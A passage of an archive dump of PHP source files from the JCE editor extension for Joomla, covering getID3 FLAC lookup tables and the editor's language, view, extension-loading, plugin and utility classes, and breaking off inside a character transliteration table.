			6 => 'PICTURE',
		);
		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
	}

	public static function applicationIDLookup($applicationid) {
		// http://flac.sourceforge.net/id.html
		static $lookup = array(
			0x41544348 => 'FlacFile',                                                                           // "ATCH"
			0x42534F4C => 'beSolo',                                                                             // "BSOL"
			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
			0x74756E65 => 'TagTuner',                                                                           // "tune"
			0x78626174 => 'XBAT',                                                                               // "xbat"
			0x786D6364 => 'xmcd',                                                                               // "xmcd"
		);
		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
	}

	public static function pictureTypeLookup($type_id) {
		static $lookup = array (
			 0 => 'Other',
			 1 => '32x32 pixels \'file icon\' (PNG only)',
			 2 => 'Other file icon',
			 3 => 'Cover (front)',
			 4 => 'Cover (back)',
			 5 => 'Leaflet page',
			 6 => 'Media (e.g. label side of CD)',
			 7 => 'Lead artist/lead performer/soloist',
			 8 => 'Artist/performer',
			 9 => 'Conductor',
			10 => 'Band/Orchestra',
			11 => 'Composer',
			12 => 'Lyricist/text writer',
			13 => 'Recording Location',
			14 => 'During recording',
			15 => 'During performance',
			16 => 'Movie/video screen capture',
			17 => 'A bright coloured fish',
			18 => 'Illustration',
			19 => 'Band/artist logotype',
			20 => 'Publisher/Studio logotype',
		);
		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
	}

}
editor/libraries/classes/vendor/getid3/index.html000060400000000054150750527150016116 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/language.php000060400000003674150750527150013754 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
abstract class WFLanguage
{
    protected static $tag;

    /*
     * Check a lnagueg file exists and is the correct version
     */
    protected static function check($tag)
    {
        return file_exists(JPATH_SITE.'/language/'.$tag.'/'.$tag.'.com_jce.ini');
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getDir()
    {
        $language = JFactory::getLanguage();

        $tag = self::getTag();

        if ($language->getTag() == $tag) {
            return $language->isRTL() ? 'rtl' : 'ltr';
        }

        return 'ltr';
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getTag()
    {
        $tag = JFactory::getLanguage()->getTag();

        if (!isset(self::$tag)) {
            if (self::check($tag)) {
                self::$tag = $tag;
            } else {
                self::$tag = 'en-GB';
            }
        }

        return self::$tag;
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getCode()
    {
        $tag = self::getTag();

        return substr($tag, 0, strpos($tag, '-'));
    }

    /**
     * Load a language file.
     *
     * @param string $prefix         Language prefix
     * @param object $path[optional] Base path
     */
    public static function load($prefix, $path = JPATH_SITE)
    {
        JFactory::getLanguage()->load($prefix, $path);
    }
}
editor/libraries/classes/view.php000060400000013450150750527150013134 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

final class WFView extends JObject
{
    private $path = array();

    public function __construct($config = array())
    {
        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_LIBRARIES;
        }

        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'default';
        }

        if (!array_key_exists('name', $config)) {
            $config['name'] = '';
        }

        $this->setProperties($config);

        if (array_key_exists('template_path', $config)) {
            $this->addTemplatePath($config['template_path']);
        } else {
            $this->addTemplatePath($this->get('base_path').'/views/'.$this->getName().'/tmpl');
        }
    }

    /**
     * Execute and display a template script.
     *
     * @param string $tpl The name of the template file to parse;
     *                    automatically searches through the template paths
     *
     * @throws object An JError object.
     *                JView::display()
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function display($tpl = null)
    {
        $result = $this->loadTemplate($tpl);

        if (JError::isError($result)) {
            return $result;
        }

        echo $result;
    }

    /**
     * Assigns variables to the view script via differing strategies.
     *
     * @return bool True on success, false on failure.
     *
     * JView::assign()
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function assign()
    {
        $arg0 = @func_get_arg(0);
        $arg1 = @func_get_arg(1);

        if (is_object($arg0)) {
            // Assign public properties
            foreach (get_object_vars($key) as $key => $value) {
                if (substr($key, 0, 1) != '_') {
                    $this->$key = $value;
                }
            }

            return true;
        }

        if (is_array($arg0)) {
            foreach ($arg0 as $key => $value) {
                if (substr($key, 0, 1) != '_') {
                    $this->$key = $value;
                }
            }

            return true;
        }

        if (is_string($arg0) && substr($arg0, 0, 1) != '_') {
            $this->$arg0 = $arg1;

            return true;
        }

        return false;
    }

    /**
     * Assign variable for the view (by reference).
     *
     * @param string $key  The name for the reference in the view
     * @param mixed  &$val The referenced variable
     *
     * @return bool True on success, false on failure.
     *
     * JView::assignRef()
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function assignRef($key, &$value)
    {
        if (is_string($key) && substr($key, 0, 1) != '_') {
            $this->$key = $value;

            return true;
        }
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function setLayout($layout)
    {
        $this->set('layout', $layout);
    }

    public function getLayout()
    {
        return $this->get('layout');
    }

    public function addTemplatePath($path)
    {
        $this->path[] = $path;
    }

    public function getTemplatePath()
    {
        return $this->path;
    }

    /**
     * Load a template file.
     *
     * @param string $tpl The name of the template source file ...
     *                    automatically searches the template paths and compiles as needed
     *
     * @return string The output of the the template script.
     *
     * JView::loadTemplate()
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function loadTemplate($tpl = null)
    {
        // clear prior output
        $output = null;
        $template = null;

        //create the template file name based on the layout
        $file = isset($tpl) ? $this->getLayout().'_'.$tpl : $this->getLayout();

        // clean the file name
        $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
        $tpl = preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl);

        // load the template script
        jimport('joomla.filesystem.path');

        $path = $this->getTemplatePath();

        $template = JPath::find($path, $file.'.php');

        if ($template != false) {
            // unset so as not to introduce into template scope
            unset($tpl);
            unset($file);

            // never allow a 'this' property
            if (isset($this->this)) {
                unset($this->this);
            }

            // start capturing output into a buffer
            ob_start();
            // include the requested template filename in the local scope
            // (this will execute the view logic).
            include $template;

            // done with the requested template; get the buffer and
            // clear it.
            $output = ob_get_contents();
            ob_end_clean();

            return $output;
        } else {
            return JError::raiseError(500, 'Layout "'.$file.'" not found in Paths '.implode(', ', $path));
        }
    }
}
editor/libraries/classes/extensions.php000060400000016144150750527150014364 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
// set as an extension parent
if (!defined('_WF_EXT')) {
    define('_WF_EXT', 1);
}

class WFExtension extends JObject
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct();

        // set extension properties
        $this->setProperties($config);
    }

    /**
     * Returns a reference to a WFExtension object.
     *
     * This method must be invoked as:
     *    <pre>  $extension = WFExtension::getInstance();</pre>
     *
     * @return object WFExtension
     */
    /* public static function getInstance()
      {
      static $instance;

      if (!is_object($instance)) {
      $instance = new WFExtension();
      }
      return $instance;
      } */

    /**
     * Display the extension.
     */
    public function display()
    {
    }

    /**
     * Load a plugin extension.
     *
     * @return array
     */
    private static function _load($types = array(), $extension = null, $config = array())
    {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        $language = JFactory::getLanguage();

        $extensions = array();

        if (!isset($config['base_path'])) {
            $config['base_path'] = WF_EDITOR;
        }

        // core extensions path
        $path = $config['base_path'].'/extensions';

        // cast as array
        $types = (array) $types;

        // get all installed plugins
        $installed = JPluginHelper::getPlugin('jce');

        if (!empty($installed)) {
            foreach ($installed as $p) {

                // check for delimiter, only load "extensions"
                if (strpos($p->name, '-') === false || strpos($p->name, 'editor-') !== false) {
                    continue;
                }

                // set path
                $p->path = JPATH_PLUGINS.'/jce/'.$p->name;

                // Joomla 1.5
                if (!defined('JPATH_PLATFORM')) {
                    $p->path = JPATH_PLUGINS.'/jce';
                }

                // get type and name
                $parts = explode('-', $p->name);
                $p->folder = $parts[0];
                $p->extension = $parts[1];

                // load the correct type if set
                if (!empty($types) && !in_array($p->folder, $types)) {
                    continue;
                }

                // specific extension
                if ($extension && $p->extension !== $extension) {
                    continue;
                }

                $language->load('plg_jce_'.$p->name, JPATH_ADMINISTRATOR);

                // add to array
                $extensions[$p->extension] = $p;
            }
        }

        // get legacy extensions
        $legacy = JFolder::folders(WF_EDITOR.'/extensions', '.', false, true);

        foreach ($legacy as $item) {
            $type = basename($item);

            // load the correct type if set
            if (!empty($types) && !in_array($type, $types)) {
                continue;
            }

            // specific extension
            if ($extension && !JFile::exists($item.'/'.$extension.'.php')) {
                continue;
            }

            if (!empty($extension)) {
                // already loaded as Joomla plugin
                if (isset($extensions[$extension])) {
                    continue;
                }

                $files = array($item.'/'.$extension.'.xml');
            } else {
                $files = JFolder::files($item, '\.xml$', false, true);
            }

            foreach ($files as $file) {
                $extension = basename($file, '.xml');

                $object = new stdClass();
                $object->folder = $type;
                $object->path = dirname($file);
                $object->extension = $extension;

                if (!isset($extensions[$extension])) {
                    $extensions[$extension] = $object;
                }
            }
        }

        return $extensions;
    }

    /**
     * Load & Call an extension.
     *
     * @param array $config
     *
     * @return mixed
     */
    public static function loadExtensions($type, $extension = null, $config = array())
    {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        if (!isset($config['base_path'])) {
            $config['base_path'] = WF_EDITOR;
        }

        // sanitize $type
        $type = preg_replace('#[^A-Z0-9\._-]#i', '', $type);

        // sanitize $extension
        if ($extension) {
            $extension = preg_replace('#[^A-Z0-9\._-]#i', '', $extension);
        }

        // Get all extensions
        $extensions = self::_load((array) $type, $extension, $config);

        $result = array();

        if (!empty($extensions)) {
            foreach ($extensions as $item) {
                $name = isset($item->extension) ? $item->extension : '';

                $type = $item->folder;
                $path = $item->path;

                if ($name) {
                    $root = $path.'/'.basename($path).'.php';

                    // store name in item object
                    $item->name = $name;

                    // legacy - clean defined path for Windows!!
                    if (WFUtility::cleanPath(dirname($path)) === WFUtility::cleanPath(WF_EDITOR_EXTENSIONS)) {
                        $root = $path.'/'.$name.'.php';
                        // redefine path
                        $item->path = $path.'/'.$name;
                    }

                    if (file_exists($root)) {
                        // Load root extension file
                        require_once $root;

                        // Return array of extension names
                        $result[$type][] = $item;

                        // if we only want a named extension
                        if ($extension && $extension == $name) {
                            return $item;
                        }
                    }
                }
            }
        }

        // only return extension types requested
        if ($type && array_key_exists($type, $result)) {
            return $result[$type];
        }

        // Return array or extension name
        return $result;
    }

    /**
     * Return a parameter for the current plugin / group.
     *
     * @param object $param   Parameter name
     * @param object $default Default value
     *
     * @return string Parameter value
     */
    public function getParam($param, $default = '')
    {
        $wf = WFEditor::getInstance();

        return $wf->getParam($param, $default);
    }

    public function getView($options = array())
    {
        return new WFView($options);
    }
}
editor/libraries/classes/plugin.php000060400000033164150750527150013464 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.editor');

wfimport('editor.libraries.classes.language');
wfimport('editor.libraries.classes.utility');
wfimport('editor.libraries.classes.token');
wfimport('editor.libraries.classes.document');
wfimport('editor.libraries.classes.view');
wfimport('editor.libraries.classes.tabs');
wfimport('editor.libraries.classes.request');

/**
 * JCE class.
 */
class WFEditorPlugin extends JObject
{
    // Editor Plugin instance
    private static $instance;

    // array of alerts
    private $_alerts = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        // Call parent
        parent::__construct();

        // get plugin name
        $plugin = JRequest::getCmd('plugin');

        // get name and caller from plugin name
        if (strpos($plugin, '.') !== false) {
            $parts = explode('.', $plugin);
            $plugin = $parts[0];
            $caller = $parts[1];
            // store caller
            if ($caller !== $plugin) {
                $this->set('caller', $caller);
            }
        }

        // set plugin name
        $this->set('name', $plugin);

        // load core language
        WFLanguage::load('com_jce', JPATH_ADMINISTRATOR);

        // load pro language
        if (WF_EDITOR_PRO) {
            WFLanguage::load('com_jce_pro', JPATH_SITE);
        }

        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_PLUGINS.'/'.$plugin;
        }

        if (!defined('WF_EDITOR_PLUGIN')) {
            define('WF_EDITOR_PLUGIN', $config['base_path']);
        }

        if (!array_key_exists('view_path', $config)) {
            $config['view_path'] = WF_EDITOR_PLUGIN;
        }

        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'default';
        }

        if (!array_key_exists('template_path', $config)) {
            $config['template_path'] = WF_EDITOR_PLUGIN.'/tmpl';
        }

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     * 		<pre>  $browser =JCE::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since	1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    /**
     * Get plugin View.
     *
     * @return WFView
     */
    public function getView()
    {
        static $view;

        if (!is_object($view)) {
            // create plugin view
            $view = new WFView(array(
                'view_path' => $this->get('base_path'),
                'template_path' => $this->get('template_path'),
                'name' => $this->get('name'),
                'layout' => $this->get('layout'),
            ));
        }

        $view->assign('plugin', $this);

        return $view;
    }

    protected function getVersion()
    {
        $wf = WFEditor::getInstance();

        return $wf->getVersion();
    }

    protected function getProfile($plugin = '')
    {
        $wf = WFEditor::getInstance();

        return $wf->getProfile($plugin);
    }

    protected function getPluginVersion()
    {
        $manifest = WF_EDITOR_PLUGIN.'/'.$this->get('name').'.xml';

        $version = '';

        if (is_file($manifest)) {
            $version = md5_file($manifest);
        }

        return $version;
    }

    public function execute()
    {
        WFToken::checkToken() or die('Access to this resource is restricted');

        // process requests if any - method will end here
        WFRequest::getInstance()->process();

        $wf = WFEditor::getInstance();

        $version = $this->getVersion();
        $name = $this->getName();

        // process javascript languages
        if (JRequest::getWord('task') == 'loadlanguages') {
            wfimport('admin.classes.language');

            $parser = new WFLanguageParser(array(
              'plugins' => array('core' => array($name), 'external' => array()),
              'sections' => array('dlg', $name.'_dlg', 'colorpicker'),
              'mode' => 'plugin',
            ));

            $data = $parser->load();
            $parser->output($data);
        }

        // set default plugin version
        $plugin_version = $this->getPluginVersion();

        // add plugin version
        if ($plugin_version && $plugin_version != $version) {
            $version .= $plugin_version;
        }

        // create the document
        $document = WFDocument::getInstance(array(
            'version' => $version,
            'title' => WFText::_('WF_'.strtoupper($this->getName().'_TITLE')),
            'name' => $name,
            'language' => WFLanguage::getTag(),
            'direction' => WFLanguage::getDir(),
            'compress_javascript' => $this->getParam('editor.compress_javascript', 0),
            'compress_css' => $this->getParam('editor.compress_css', 0),
        ));

        // set standalone mode
        $document->set('standalone', JRequest::getInt('standalone', 0));

        // create display
        $this->display();

        // ini language
        $document->addScript(array('index.php?option=com_jce&view=editor&'.$document->getQueryString(array('task' => 'loadlanguages', 'lang' => WFLanguage::getCode()))), 'joomla');

        // pack assets if required
        $document->pack(true, $this->getParam('editor.compress_gzip', 0));

        // get the view
        $view = $this->getView();

        // set body output
        $document->setBody($view->loadTemplate());

        // render document
        $document->render();
    }

    /**
     * Display plugin.
     */
    public function display()
    {
        jimport('joomla.filesystem.folder');
        $document = WFDocument::getInstance();

        if ($document->get('standalone') === 0) {
            $document->addScript(array('tiny_mce_popup'), 'tiny_mce');
        }

        $document->addScript(array('jquery.min'), 'jquery');

        $document->addScript(array('jquery-ui.min'), 'jquery');

        $document->addScript(array('plugin.min.js'));
        $document->addStyleSheet(array('plugin.min.css'), 'libraries');

        // add custom plugin.css if exists
        if (is_file(JPATH_SITE.'/media/jce/css/plugin.css')) {
            $document->addStyleSheet(array('media/jce/css/plugin.css'), 'joomla');
        }
    }

    /**
     * Return the plugin name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->get('name');
    }

    /**
     * Get default values for a plugin.
     * Key / Value pairs will be retrieved from the profile or plugin manifest.
     *
     * @param array $defaults
     *
     * @return array
     */
    public function getDefaults($defaults = array())
    {
        $name = $this->getName();
        $caller = $this->get('caller');

        if ($caller) {
            $name = $caller;
        }

        // get manifest path
        $manifest = WF_EDITOR_PLUGIN.'/'.$name.'.xml';

        // get parameter defaults
        if (is_file($manifest)) {
            $params = $this->getParams(array(
                'key' => $name,
                'path' => $manifest,
            ));

            return array_merge($defaults, (array) $params->getAll('defaults'));
        }

        return $defaults;
    }

    /**
     * Check the user is in an authorized group
     * Check the users group is authorized to use the plugin.
     *
     * @return bool
     */
    public function checkPlugin($plugin = null)
    {
        if ($plugin) {
            // check existence of plugin directory
            if (is_dir(WF_EDITOR_PLUGINS.'/'.$plugin)) {
                // get profile
                $profile = $this->getProfile($plugin);
                // check for valid object and profile id
                return is_object($profile) && isset($profile->id);
            }
        }

        return false;
    }

    /**
     * Add an alert array to the stack.
     *
     * @param object $class Alert classname
     * @param object $title Alert title
     * @param object $text  Alert text
     */
    protected function addAlert($class = 'info', $title = '', $text = '')
    {
        $alerts = $this->getAlerts();

        $alerts[] = array(
            'class' => $class,
            'title' => $title,
            'text' => $text,
        );

        $this->set('_alerts', $alerts);
    }

    /**
     * Get current alerts.
     *
     * @return array Alerts
     */
    private function getAlerts()
    {
        return $this->get('_alerts');
    }

    /**
     * Convert a url to path.
     *
     * @param	string 	The url to convert
     *
     * @return string Full path to file
     */
    public function urlToPath($url)
    {
        $document = WFDocument::getInstance();

        return $document->urlToPath($url);
    }

    /**
     * Returns an image url.
     *
     * @param	string 	The file to load including path and extension eg: libaries.image.gif
     *
     * @return string Image url
     */
    public function image($image, $root = 'libraries')
    {
        $document = WFDocument::getInstance();

        return $document->image($image, $root);
    }

    /**
     * Load & Call an extension.
     *
     * @param array $config
     *
     * @return array
     */
    protected function loadExtensions($type, $extension = null, $config = array())
    {
        return WFExtension::loadExtensions($type, $extension, $config);
    }

    /**
     * Compile plugin settings from defaults and alerts.
     *
     * @param array $settings
     *
     * @return array
     */
    public function getSettings($settings = array())
    {
        $default = array(
            'alerts' => $this->getAlerts(),
            'defaults' => $this->getDefaults(),
        );

        $settings = array_merge($default, $settings);

        return $settings;
    }

    public function getParams($options = array())
    {
        $wf = WFEditor::getInstance();

        return $wf->getParams($options);
    }

    /**
     * Get a parameter by key.
     *
     * @param string $key        Parameter key eg: editor.width
     * @param mixed  $fallback   Fallback value
     * @param mixed  $default    Default value
     * @param string $type       Variable type eg: string, boolean, integer, array
     * @param bool   $allowempty
     *
     * @return mixed
     */
    public function getParam($key, $fallback = '', $default = '', $type = 'string', $allowempty = true)
    {
        // get plugin name
        $name = $this->getName();
        // get caller if any
        $caller = $this->get('caller');

        // get all keys
        $keys = explode('.', $key);
        $wf = WFEditor::getInstance();

        // root key set
        if ($keys[0] === 'editor' || $keys[0] === $name || $keys[0] === $caller) {
            return $wf->getParam($key, $fallback, $default, $type, $allowempty);
            // no root key set, treat as shared param
        } else {
            // get fallback param from editor key
            $fallback = $wf->getParam('editor.'.$key, $fallback, $default, $type, $allowempty);

            if ($caller) {
                // get fallback from plugin (with editor parameter as fallback)
                $fallback = $wf->getParam($name.'.'.$key, $fallback, $default, $type, $allowempty);
                $name = $caller;
            }

            // return parameter
            return $wf->getParam($name.'.'.$key, $fallback, $default, $type, $allowempty);
        }
    }

    /**
     * Named wrapper to check access to a feature.
     *
     * @param string	The feature to check, eg: upload
     * @param mixed		The defalt value
     *
     * @return bool
     */
    public function checkAccess($option, $default = 0)
    {
        return (bool) $this->getParam($option, $default);
    }

    /**
     * Wrapper for oEmbed Request.
     *
     * @param $name Provider name
     * @param $url Resource URL
     *
     * @return object
     */
    public function oEmbedWrapper($name, $url)
    {
        $data = '';
        $endpoint = '';

        $providers = json_decode(file_get_contents(WF_EDITOR_LIBRARIES.'/oembed.json'));
        $supported = array('youtube', 'vimeo', 'dailymotion', 'vine', 'instagram');

        if (!empty($providers)) {
            // find the correct provider
            foreach ($providers as $provider) {
                if ($name === strtolower($provider->provider_name) && in_array($supported, $name)) {
                    $endpoint = $provider->endpoints[0]->url;
                }
            }

            if ($endpoint) {
                // only json is supported
                $endpoint = str_replace('{format}', 'json', $endpoint);

                // only https
                $endpoint = str_replace('http://', 'https://', $endpoint);

                if (strpos($endpoint, '?') === false) {
                    $endpoint .= '?url=';
                } else {
                    $endpoint .= '&url=';
                }

                $data = @file_get_contents($endpoint.rawurlencode(rawurldecode($url)));
            }
        }

        $data = is_string($data) ? json_decode($data) : $data;

        return $data;
    }
}
editor/libraries/classes/utility.php000060400000050116150750527150013665 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

/* Set internal character encoding to UTF-8 */
if (function_exists('mb_internal_encoding')) {
    mb_internal_encoding("UTF-8");
}

abstract class WFUtility
{
    /**
     * Get the file extension from a path
     *
     * @param  string $path The file path
     * @return string The file extension
     */
    public static function getExtension($path)
    {
        return pathinfo($path, PATHINFO_EXTENSION);
    }

    /**
     * Remove the extension from a file name or path
     *
     * @param  string $path The file path
     * @return string The file path without the extension
     */
    public static function stripExtension($path)
    {
        return preg_replace('#\.[^.]*$#', '', $path);
    }

    /**
     * Get the file name
     *
     * @param  string $path The file path
     * @return string The file name without the path or extension
     */
    public static function getFilename($path)
    {
        $info = pathinfo($path);

        // basename should be set
        if (empty($info['basename'])) {
            return $path;
        }

        // "filename" is empty, posssibly due to incorrect locale
        if (empty($info['filename'])) {
            return self::stripExtension($info['basename']);
        }

        return $info['filename'];
    }

    public static function cleanPath($path, $ds = DIRECTORY_SEPARATOR, $prefix = '')
    {
        $path = trim(rawurldecode($path));

        // check for UNC path on IIS and set prefix
        if ($ds == '\\' && $path[0] == '\\' && $path[1] == '\\') {
            $prefix = '\\';
        }
        // clean path, removing double slashes, replacing back/forward slashes with DIRECTORY_SEPARATOR
        $path = preg_replace('#[/\\\\]+#', $ds, $path);

        // return path with prefix if any
        return $prefix . $path;
    }

    /**
     * Append a DIRECTORY_SEPARATOR to the path if required.
     *
     * @param string $path the path
     * @param string $ds   optional directory seperator
     *
     * @return string path with trailing DIRECTORY_SEPARATOR
     */
    public static function fixPath($path, $ds = DIRECTORY_SEPARATOR)
    {
        return self::cleanPath($path . $ds);
    }

    private static function checkCharValue($string)
    {
        // null byte check
        if (strstr($string, "\x00")) {
            return false;
        }

        if (preg_match('#([^\w\.\-~\/\\\\\s ])#i', $string, $matches)) {
            foreach ($matches as $match) {
                // not a safe UTF-8 character
                if (ord($match) < 127) {
                    return false;
                }
            }
        }

        return true;
    }

    public static function checkPath($path)
    {
        $path = urldecode($path);

        if (self::checkCharValue($path) === false || strpos($path, '..') !== false) {
            throw new InvalidArgumentException('Invalid path');
        }
    }

    /**
     * Concat two paths together. Basically $a + $b.
     *
     * @param string $a  path one
     * @param string $b  path two
     * @param string $ds optional directory seperator
     *
     * @return string $a DIRECTORY_SEPARATOR $b
     */
    public static function makePath($a, $b, $ds = DIRECTORY_SEPARATOR)
    {
        return self::cleanPath($a . $ds . $b, $ds);
    }

    private static function utf8_latin_to_ascii($subject)
    {
        static $CHARS = null;

        if (is_null($CHARS)) {
            $CHARS = array(
                'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A', 'Æ' => 'AE',
                'Ç' => 'C', 'È' => 'E', 'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I',
                'Ð' => 'D', 'Ñ' => 'N', 'Ò' => 'O', 'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ö' => 'O', 'Ø' => 'O',
                'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ü' => 'U', 'Ý' => 'Y', 'ß' => 's',
                'à' => 'a', 'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ä' => 'a', 'å' => 'a', 'æ' => 'ae',
                'ç' => 'c', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e', 'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i',
                'ñ' => 'n', 'ò' => 'o', 'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ö' => 'o', 'ø' => 'o', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ü' => 'u',
                'ý' => 'y', 'ÿ' => 'y', 'Ā' => 'A', 'ā' => 'a', 'Ă' => 'A', 'ă' => 'a', 'Ą' => 'A', 'ą' => 'a',
                'Ć' => 'C', 'ć' => 'c', 'Ĉ' => 'C', 'ĉ' => 'c', 'Ċ' => 'C', 'ċ' => 'c', 'Č' => 'C', 'č' => 'c', 'Ď' => 'D', 'ď' => 'd', 'Đ' => 'D', 'đ' => 'd',
                'Ē' => 'E', 'ē' => 'e', 'Ĕ' => 'E', 'ĕ' => 'e', 'Ė' => 'E', 'ė' => 'e', 'Ę' => 'E', 'ę' => 'e', 'Ě' => 'E', 'ě' => 'e',
                'Ĝ' => 'G', 'ĝ' => 'g', 'Ğ' => 'G', 'ğ' => 'g', 'Ġ' => 'G', 'ġ' => 'g', 'Ģ' => 'G', 'ģ' => 'g', 'Ĥ' => 'H', 'ĥ' => 'h', 'Ħ' => 'H', 'ħ' => 'h',
                'Ĩ' => 'I', 'ĩ' => 'i', 'Ī' => 'I', 'ī' => 'i', 'Ĭ' => 'I', 'ĭ' => 'i', 'Į' => 'I', 'į' => 'i', 'İ' => 'I', 'ı' => 'i',
                'IJ' => 'IJ', 'ij' => 'ij', 'Ĵ' => 'J', 'ĵ' => 'j', 'Ķ' => 'K', 'ķ' => 'k', 'Ĺ' => 'L', 'ĺ' => 'l', 'Ļ' => 'L', 'ļ' => 'l', 'Ľ' => 'L', 'ľ' => 'l', 'Ŀ' => 'L', 'ŀ' => 'l', 'Ł' => 'l', 'ł' => 'l',
                'Ń' => 'N', 'ń' => 'n', 'Ņ' => 'N', 'ņ' => 'n', 'Ň' => 'N', 'ň' => 'n', 'ʼn' => 'n', 'Ō' => 'O', 'ō' => 'o', 'Ŏ' => 'O', 'ŏ' => 'o', 'Ő' => 'O', 'ő' => 'o', 'Œ' => 'OE', 'œ' => 'oe',
                'Ŕ' => 'R', 'ŕ' => 'r', 'Ŗ' => 'R', 'ŗ' => 'r', 'Ř' => 'R', 'ř' => 'r', 'Ś' => 'S', 'ś' => 's', 'Ŝ' => 'S', 'ŝ' => 's', 'Ş' => 'S', 'ş' => 's', 'Š' => 'S', 'š' => 's',
